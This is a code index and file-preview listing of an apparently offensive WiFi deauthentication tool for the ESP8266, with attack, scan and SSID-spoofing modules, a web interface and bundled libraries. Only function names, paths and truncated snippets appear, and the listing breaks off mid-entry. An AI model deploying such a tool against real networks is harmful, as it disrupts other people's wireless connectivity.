function normalize_rgb_colors_to_hex (line 182) | def normalize_rgb_colors_to_hex(css):
function condense_zero_units (line 195) | def condense_zero_units(css):
function condense_multidimensional_zeros (line 202) | def condense_multidimensional_zeros(css):
function condense_floating_points (line 211) | def condense_floating_points(css):
function condense_hex_colors (line 217) | def condense_hex_colors(css):
function condense_whitespace (line 236) | def condense_whitespace(css):
function condense_semicolons (line 242) | def condense_semicolons(css):
function wrap_css_lines (line 248) | def wrap_css_lines(css, line_length=80):
function condense_font_weight (line 262) | def condense_font_weight(css):
function condense_std_named_colors (line 269) | def condense_std_named_colors(css):
function condense_xtra_named_colors (line 279) | def condense_xtra_named_colors(css):
function remove_url_quotes (line 289) | def remove_url_quotes(css):
function condense_border_none (line 295) | def condense_border_none(css):
function add_encoding (line 301) | def add_encoding(css):
function restore_needed_space (line 307) | def restore_needed_space(css):
function unquote_selectors (line 314) | def unquote_selectors(css):
function css_minify (line 320) | def css_minify(css, wrap=False, comments=False, sort=False, noprefix=Fal...
FILE: utils/web_converter/css_html_js_minify/html_minifier.py
function condense_html_whitespace (line 17) | def condense_html_whitespace(html):
function rawtag (line 44) | def rawtag(str):
function condense_style (line 54) | def condense_style(html):
function condense_script (line 66) | def condense_script(html):
function clean_unneeded_html_tags (line 78) | def clean_unneeded_html_tags(html):
function remove_html_comments (line 94) | def remove_html_comments(html):
function unquote_html_attributes (line 106) | def unquote_html_attributes(html):
function html_minify (line 143) | def html_minify(html, comments=False):
FILE: utils/web_converter/css_html_js_minify/js_minifier.py
function remove_commented_lines (line 21) | def remove_commented_lines(js):
function simple_replacer_js (line 32) | def simple_replacer_js(js):
function js_minify_keep_comments (line 39) | def js_minify_keep_comments(js):
function force_single_line_js (line 47) | def force_single_line_js(js):
class JavascriptMinify (line 53) | class JavascriptMinify(object):
method __init__ (line 57) | def __init__(self, instream=None, outstream=None):
method minify (line 61) | def minify(self, instream=None, outstream=None):
function js_minify (line 180) | def js_minify(js):
FILE: utils/web_converter/css_html_js_minify/minify.py
function process_multiple_files (line 51) | def process_multiple_files(file_path, watch=False, wrap=False, timestamp...
function prefixer_extensioner (line 96) | def prefixer_extensioner(file_path, old, new,
function process_single_css_file (line 117) | def process_single_css_file(css_file_path, wrap=False, timestamp=False,
function process_single_html_file (line 154) | def process_single_html_file(html_file_path, comments=False, overwrite=F...
function process_single_js_file (line 173) | def process_single_js_file(js_file_path, timestamp=False, overwrite=False,
function make_arguments_parser (line 206) | def make_arguments_parser():
function prepare (line 247) | def prepare():
function main (line 258) | def main():
FILE: web_interface/js/attack.js
function draw (line 5) | function draw() {
function stopAll (line 21) | function stopAll() {
function start (line 27) | function start(mode) {
function load (line 45) | function load() {
FILE: web_interface/js/scan.js
function drawScan (line 6) | function drawScan() {
function drawNames (line 95) | function drawNames() {
function scan (line 135) | function scan(type) {
function buttonFunc (line 157) | function buttonFunc() {
function load (line 170) | function load() {
function selectRow (line 189) | function selectRow(type, id, selected) {
function remove (line 209) | function remove(type, id) {
function save (line 228) | function save(id) {
function add (line 251) | function add(type, id) {
function selectAll (line 279) | function selectAll(type, select) {
FILE: web_interface/js/settings.js
function load (line 5) | function load() {
function draw (line 13) | function draw() {
function save (line 45) | function save(key, value) {
FILE: web_interface/js/site.js
function getE (line 5) | function getE(name) {
function esc (line 9) | function esc(str) {
function convertLineBreaks (line 22) | function convertLineBreaks(str) {
function showMessage (line 31) | function showMessage(msg) {
function getFile (line 48) | function getFile(adr, callback, timeout, method, onTimeout, onError) {
function lang (line 92) | function lang(key) {
function parseLang (line 96) | function parseLang(fileStr) {
function loadLang (line 109) | function loadLang() {
FILE: web_interface/js/ssids.js
function load (line 5) | function load() {
function draw (line 15) | function draw() {
function remove (line 41) | function remove(id) {
function add (line 47) | function add() {
function enableRandom (line 68) | function enableRandom() {
function disableRandom (line 81) | function disableRandom() {
function addSelected (line 85) | function addSelected() {
function changeEnc (line 89) | function changeEnc(id) {
function removeAll (line 95) | function removeAll() {
function save (line 101) | function save(id) {
Condensed preview — 177 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3,514K chars).
[
{
"path": ".github/CODE_OF_CONDUCT.md",
"chars": 3337,
"preview": "# Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as contributors and"
},
{
"path": ".github/CONTRIBUTING.md",
"chars": 3934,
"preview": "# Request for contributions\n\nPlease contribute to this repository if any of the following is true:\n- You have expertise "
},
{
"path": ".github/FUNDING.yml",
"chars": 618,
"preview": "# These are supported funding model platforms\n\ngithub: spacehuhntech\npatreon: # Replace with a single Patreon username\no"
},
{
"path": ".github/ISSUE_TEMPLATE/1--error-report.md",
"chars": 1075,
"preview": "---\nname: 1. Problem or error report\nabout: I encountered a problem and need help to solve it\ntitle: \"\"\nlabels: help wan"
},
{
"path": ".github/ISSUE_TEMPLATE/2--question.md",
"chars": 286,
"preview": "---\nname: 2. Question\nabout: I have a question about this project\ntitle: \"\"\nlabels: question\nassignees: ''\n\n---\n\n> Pleas"
},
{
"path": ".github/ISSUE_TEMPLATE/3--feature-request.md",
"chars": 800,
"preview": "---\nname: 3. Feature request\nabout: I have an idea to improve this project\ntitle: \"\"\nlabels: feature request\nassignees: "
},
{
"path": ".github/ISSUE_TEMPLATE/4--bug-report.md",
"chars": 788,
"preview": "---\nname: 4. Bug report\nabout: I found a reproducible bug in the code\ntitle: \"\"\nlabels: bug\nassignees: ''\n\n---\n\n**Descri"
},
{
"path": ".github/ISSUE_TEMPLATE/5--documentation.md",
"chars": 390,
"preview": "---\nname: 5. Documentation\nabout: I have something to improve or add to the docs\ntitle: ''\nlabels: documentation\nassigne"
},
{
"path": ".github/ISSUE_TEMPLATE.md",
"chars": 216,
"preview": "> Please search for existing (open and closed) issues first to avoid duplicates. \nAlso have a look at the [Wiki](https:"
},
{
"path": ".github/config.yml",
"chars": 930,
"preview": "# Configuration for welcome - https://github.com/behaviorbot/welcome\nnewIssueWelcomeComment: >\n Congrats on opening you"
},
{
"path": ".github/stale.yml",
"chars": 714,
"preview": "# Number of days of inactivity before an issue becomes stale\ndaysUntilStale: 180\n# Number of days of inactivity before a"
},
{
"path": ".github/workflows/nightly.yml",
"chars": 653,
"preview": "name: Trigger nightly build\n\non:\n push:\n\njobs:\n\n notify-nightly:\n name: \"Trigger new build on nightly-deauther\"\n "
},
{
"path": ".gitignore",
"chars": 92,
"preview": "\n*.bin\n\n*.elf\n\n*.map\n\n.DS_Store\n\n*.pyc\n\nutils/web_converter/css_html_js_minify/__pycache__/\n"
},
{
"path": "LICENSE",
"chars": 1150,
"preview": "Do not redistribute, advertise or sell this software as a \"jammer\"!!!\n\nMIT License\n\nCopyright (c) 2020 Spacehuhn Technol"
},
{
"path": "README.md",
"chars": 1917,
"preview": "# ESP8266 Deauther\n\n<img src='https://deauther.com/img/logo.png' alt='Deauther Logo' width='200' />\n\n**Scan for WiFi dev"
},
{
"path": "Reset_Sketch/README.md",
"chars": 293,
"preview": "# RESET\r\n\r\n## Method 1\r\n\r\nOpen the Reset_Sketch.ino and upload with the correct settings. \r\n\r\n## Method 2\r\n\r\nFlash one "
},
{
"path": "Reset_Sketch/Reset_Sketch.ino",
"chars": 795,
"preview": "#include <EEPROM.h>\n#include <LittleFS.h>\n\n/*\n Upload this sketch to your ESP8266 to erase \n - all files in the SPIFFS"
},
{
"path": "arduino-cli.yaml",
"chars": 149,
"preview": "# arduino-cli.yaml\nboard_manager:\n additional_urls:\n - https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/"
},
{
"path": "esp8266_deauther/A_config.h",
"chars": 17437,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/Accesspoints.cpp",
"chars": 6719,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Acce"
},
{
"path": "esp8266_deauther/Accesspoints.h",
"chars": 1907,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/Attack.cpp",
"chars": 14877,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Atta"
},
{
"path": "esp8266_deauther/Attack.h",
"chars": 10366,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/CLI.cpp",
"chars": 44806,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"CLI."
},
{
"path": "esp8266_deauther/CLI.h",
"chars": 2364,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/DisplayUI.cpp",
"chars": 33468,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Disp"
},
{
"path": "esp8266_deauther/DisplayUI.h",
"chars": 50424,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/EEPROMHelper.h",
"chars": 1575,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/Names.cpp",
"chars": 11871,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Name"
},
{
"path": "esp8266_deauther/Names.h",
"chars": 3357,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/SSIDs.cpp",
"chars": 8118,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\r\n\r\n#include \"SS"
},
{
"path": "esp8266_deauther/SSIDs.h",
"chars": 2310,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/Scan.cpp",
"chars": 13783,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Scan"
},
{
"path": "esp8266_deauther/Scan.h",
"chars": 2913,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/SimpleList.h",
"chars": 11941,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/Stations.cpp",
"chars": 8225,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"Stat"
},
{
"path": "esp8266_deauther/Stations.h",
"chars": 2511,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/debug.h",
"chars": 1016,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/esp8266_deauther.ino",
"chars": 4677,
"preview": "/* =====================\n This software is licensed under the MIT License:\n https://github.com/spacehuhntech/esp8266"
},
{
"path": "esp8266_deauther/functions.h",
"chars": 19599,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/language.h",
"chars": 39349,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/led.cpp",
"chars": 4530,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"led."
},
{
"path": "esp8266_deauther/led.h",
"chars": 363,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/oui.h",
"chars": 1504250,
"preview": "#ifndef oui_h\r\n#define oui_h\r\n/*\r\n Based on Wireshark manufacturer database\r\n source: https://www.wireshark.org/tools/"
},
{
"path": "esp8266_deauther/settings.cpp",
"chars": 9424,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#include \"sett"
},
{
"path": "esp8266_deauther/settings.h",
"chars": 3537,
"preview": "/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */\n\n#pragma once\n\n"
},
{
"path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp",
"chars": 24065,
"preview": "/*!\n * @file Adafruit_DotStar.cpp\n *\n * @mainpage Arduino Library for driving Adafruit DotStar addressable LEDs\n * and c"
},
{
"path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h",
"chars": 10229,
"preview": "/*!\n * @file Adafruit_DotStar.h\n *\n * This file is part of the Adafruit_DotStar library.\n *\n * Adafruit_DotStar is free "
},
{
"path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/license.txt",
"chars": 35149,
"preview": " GNU GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007 Free "
},
{
"path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.cpp",
"chars": 103775,
"preview": "/*!\r\n * @file Adafruit_NeoPixel.cpp\r\n *\r\n * @mainpage Arduino Library for driving Adafruit NeoPixel addressable LEDs,\r\n "
},
{
"path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/Adafruit_NeoPixel.h",
"chars": 17934,
"preview": "/*!\n * @file Adafruit_NeoPixel.h\n *\n * This is part of Adafruit's NeoPixel library for the Arduino platform,\n * allowing"
},
{
"path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/COPYING",
"chars": 7651,
"preview": " GNU LESSER GENERAL PUBLIC LICENSE\n Version 3, 29 June 2007\n\n Copyright (C) 2007"
},
{
"path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/esp8266.c",
"chars": 2433,
"preview": "// This is a mash-up of the Due show() code + insights from Michael Miller's\n// ESP8266 work for the NeoPixelBus library"
},
{
"path": "esp8266_deauther/src/ArduinoJson-v5.13.5/ArduinoJson.h",
"chars": 105287,
"preview": "// ArduinoJson - arduinojson.org\r\n// Copyright Benoit Blanchon 2014-2019\r\n// MIT License\r\n\r\n#pragma once\r\n\r\n#ifdef __cpl"
},
{
"path": "esp8266_deauther/src/DS3231-1.0.3/DS3231.cpp",
"chars": 22001,
"preview": "/*\n DS3231.cpp: DS3231 Real-Time Clock library\n Eric Ayars\n 4/1/11\n\n Spliced in DateTime all-at-once reading (to"
},
{
"path": "esp8266_deauther/src/DS3231-1.0.3/DS3231.h",
"chars": 6275,
"preview": "/*\n * DS3231.h\n *\n * Arduino Library for the DS3231 Real-Time Clock chip\n *\n * (c) Eric Ayars\n * 4/1/11\n * released into"
},
{
"path": "esp8266_deauther/src/DS3231-1.0.3/LICENSE",
"chars": 1211,
"preview": "This is free and unencumbered software released into the public domain.\n\nAnyone is free to copy, modify, publish, use, c"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/AnalogStick.cpp",
"chars": 4683,
"preview": "#include \"AnalogStick.h\"\n\nnamespace simplebutton {\n AnalogStick::AnalogStick() {\n setup(255, 255, 255);\n }\n"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/AnalogStick.h",
"chars": 1674,
"preview": "#ifndef SimpleButton_AnalogStick_h\n#define SimpleButton_AnalogStick_h\n\n#include \"ButtonPullup.h\"\n#include \"ButtonAnalog."
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/Button.cpp",
"chars": 8443,
"preview": "#include \"../SimpleButton.h\"\n\nnamespace simplebutton {\n Button::Button() {\n setup(255, false);\n }\n\n Butt"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/Button.h",
"chars": 4145,
"preview": "#ifndef SimpleButton_Button_h\n#define SimpleButton_Button_h\n\n#include \"Arduino.h\"\n#include \"../Events/Event.h\"\n#include "
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonAnalog.cpp",
"chars": 1835,
"preview": "#include \"ButtonAnalog.h\"\n\nnamespace simplebutton {\n ButtonAnalog::ButtonAnalog() {\n setup(255, 0, 1024);\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonAnalog.h",
"chars": 987,
"preview": "#ifndef SimpleButton_ButtonAnalog_h\n#define SimpleButton_ButtonAnalog_h\n\n#include \"Button.h\"\n\n\nnamespace simplebutton {\n"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonGPIOExpander.cpp",
"chars": 1380,
"preview": "#include \"ButtonGPIOExpander.h\"\n\nnamespace simplebutton {\n ButtonGPIOExpander::ButtonGPIOExpander() {\n setup(N"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonGPIOExpander.h",
"chars": 875,
"preview": "#ifndef SimpleButton_ButtonGPIOExpander_h\n#define SimpleButton_ButtonGPIOExpander_h\n\n#include \"Button.h\"\n#include \"../li"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullup.cpp",
"chars": 583,
"preview": "#include \"ButtonPullup.h\"\n\nnamespace simplebutton {\n ButtonPullup::ButtonPullup() {\n setup(255);\n }\n\n Bu"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullup.h",
"chars": 393,
"preview": "#ifndef SimpleButton_ButtonPullup_h\n#define SimpleButton_ButtonPullup_h\n\n#include \"Button.h\"\n\nnamespace simplebutton {\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.cpp",
"chars": 760,
"preview": "#include \"ButtonPullupGPIOExpander.h\"\n\nnamespace simplebutton {\n ButtonPullupGPIOExpander::ButtonPullupGPIOExpander()"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/ButtonPullupGPIOExpander.h",
"chars": 539,
"preview": "#ifndef SimpleButton_ButtonPullupGPIOExpander_h\n#define SimpleButton_ButtonPullupGPIOExpander_h\n\n#include \"ButtonGPIOExp"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/PS2Gamepad.cpp",
"chars": 10918,
"preview": "#include \"PS2Gamepad.h\"\n\nnamespace simplebutton {\n #include \"PS2Gamepad.h\"\n\n PS2Gamepad::PS2Gamepad() {}\n\n PS2Gam"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/PS2Gamepad.h",
"chars": 2594,
"preview": "#ifndef SimpleButton_PS2Gamepad_h\n#define SimpleButton_PS2Gamepad_h\n\n#include \"Button.h\"\n#include \"AnalogStick.h\"\n\nnames"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoder.cpp",
"chars": 5080,
"preview": "#include \"RotaryEncoder.h\"\n\nnamespace simplebutton {\n RotaryEncoder::RotaryEncoder() {\n setButtons(NULL, NULL,"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoder.h",
"chars": 2265,
"preview": "#ifndef SimpleButton_RotaryEncoder_h\n#define SimpleButton_RotaryEncoder_h\n\n#include \"Button.h\"\n#include \"ButtonPullup.h\""
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoderI2C.cpp",
"chars": 6539,
"preview": "#include \"RotaryEncoderI2C.h\"\nnamespace simplebutton {\n RotaryEncoderI2C::RotaryEncoderI2C() {\n setup(0x30);\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/RotaryEncoderI2C.h",
"chars": 2597,
"preview": "#ifndef SimpleButton_RotaryEncoderI2C_h\n#define SimpleButton_RotaryEncoderI2C_h\n\n#include \"Arduino.h\"\n#include <Wire.h>\n"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/Switch.cpp",
"chars": 1293,
"preview": "#include \"Switch.h\"\n\nnamespace simplebutton {\n Switch::Switch() {\n button = new Button();\n }\n\n Switch::S"
},
{
"path": "esp8266_deauther/src/SimpleButton/Buttons/Switch.h",
"chars": 780,
"preview": "#ifndef SimpleButton_Switch_h\n#define SimpleButton_Switch_h\n\n#include \"Button.h\"\n#include \"ButtonGPIOExpander.h\"\n\nnamesp"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/ClickEvent.cpp",
"chars": 638,
"preview": "#include \"ClickEvent.h\"\n\nnamespace simplebutton {\n ClickEvent::ClickEvent(ButtonEventFunction, uint32_t minPushTime, "
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/ClickEvent.h",
"chars": 552,
"preview": "#ifndef SimpleButton_ClickEvent_h\n#define SimpleButton_ClickEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n cl"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/DoubleclickEvent.cpp",
"chars": 870,
"preview": "#include \"DoubleclickEvent.h\"\n\nnamespace simplebutton {\n DoubleclickEvent::DoubleclickEvent(ButtonEventFunction, uint"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/DoubleclickEvent.h",
"chars": 684,
"preview": "#ifndef SimpleButton_DoubleclickEvent_h\n#define SimpleButton_DoubleclickEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebut"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/Event.cpp",
"chars": 529,
"preview": "#include \"Event.h\"\n\nnamespace simplebutton {\n Event::~Event() {\n if (next) {\n delete next;\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/Event.h",
"chars": 739,
"preview": "#ifndef SimpleButton_Event_h\n#define SimpleButton_Event_h\n\n#include \"Arduino.h\"\n#include <functional>\n\n#define ButtonEve"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/HoldEvent.cpp",
"chars": 450,
"preview": "#include \"HoldEvent.h\"\n\nnamespace simplebutton {\n HoldEvent::HoldEvent(ButtonEventFunction, uint32_t interval) {\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/HoldEvent.h",
"chars": 425,
"preview": "#ifndef SimpleButton_HoldEvent_h\n#define SimpleButton_HoldEvent_h\n\n#include \"Event.h\"\nnamespace simplebutton {\n class"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/PushEvent.cpp",
"chars": 319,
"preview": "#include \"PushEvent.h\"\n\nnamespace simplebutton {\n PushEvent::PushEvent(ButtonEventFunction) {\n this->fnct = fn"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/PushEvent.h",
"chars": 318,
"preview": "#ifndef SimpleButton_PushEvent_h\n#define SimpleButton_PushEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n clas"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/ReleaseEvent.cpp",
"chars": 339,
"preview": "#include \"ReleaseEvent.h\"\n\nnamespace simplebutton {\n ReleaseEvent::ReleaseEvent(ButtonEventFunction) {\n this->"
},
{
"path": "esp8266_deauther/src/SimpleButton/Events/ReleaseEvent.h",
"chars": 336,
"preview": "#ifndef SimpleButton_ReleaseEvent_h\n#define SimpleButton_ReleaseEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/LICENSE",
"chars": 1071,
"preview": "MIT License\n\nCopyright (c) 2018 Stefan Kremser\n\nPermission is hereby granted, free of charge, to any person obtaining a "
},
{
"path": "esp8266_deauther/src/SimpleButton/SimpleButton.h",
"chars": 428,
"preview": "#ifndef SimpleButton_h\n#define SimpleButton_h\n\n#include \"Buttons/Button.h\"\n#include \"Buttons/ButtonGPIOExpander.h\"\n#incl"
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/GPIOExpander.cpp",
"chars": 1157,
"preview": "#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n void GPIOExpander::setup(uint8_t address) {\n this->wire "
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/GPIOExpander.h",
"chars": 911,
"preview": "#ifndef SimpleButton_GPIOExpander_h\n#define SimpleButton_GPIOExpander_h\n\n#include \"Arduino.h\"\n#include <Wire.h>\n\n#define"
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/MCP23017.cpp",
"chars": 4183,
"preview": "#include \"MCP23017.h\"\nnamespace simplebutton {\n MCP23017::MCP23017(uint8_t address) {\n setup(address);\n }\n\n"
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/MCP23017.h",
"chars": 1175,
"preview": "#ifndef SimpleButton_MCP23017_h\n#define SimpleButton_MCP23017_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/PCF8574.cpp",
"chars": 1539,
"preview": "#include \"PCF8574.h\"\n\nnamespace simplebutton {\n PCF8574::PCF8574(uint8_t address) {\n setup(address);\n }\n\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/PCF8574.h",
"chars": 625,
"preview": "#ifndef SimpleButton_PCF8574_h\n#define SimpleButton_PCF8574_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n c"
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/PCF8575.cpp",
"chars": 1240,
"preview": "#include \"PCF8575.h\"\n\nnamespace simplebutton {\n PCF8575::PCF8575(uint8_t address) {\n setup(address);\n }\n\n "
},
{
"path": "esp8266_deauther/src/SimpleButton/libs/PCF8575.h",
"chars": 627,
"preview": "#ifndef SimpleButton_PCF8575_h\n#define SimpleButton_PCF8575_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n c"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.cpp",
"chars": 29464,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.h",
"chars": 11261,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayFonts.h",
"chars": 105873,
"preview": "#ifndef OLEDDISPLAYFONTS_h\n#define OLEDDISPLAYFONTS_h\n\n#ifdef __MBED__\n#define PROGMEM\n#endif\n\nconst uint8_t ArialMT_Pla"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.cpp",
"chars": 15289,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplayUi.h",
"chars": 7947,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/README.md",
"chars": 13673,
"preview": "[](https://travis-ci.org/ThingPu"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106.h",
"chars": 1537,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Brzo.h",
"chars": 4353,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Spi.h",
"chars": 4154,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SH1106Wire.h",
"chars": 4901,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306.h",
"chars": 1555,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Brzo.h",
"chars": 4911,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306I2C.h",
"chars": 4692,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is h"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h",
"chars": 4720,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
"path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h",
"chars": 5363,
"preview": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice We"
},
{
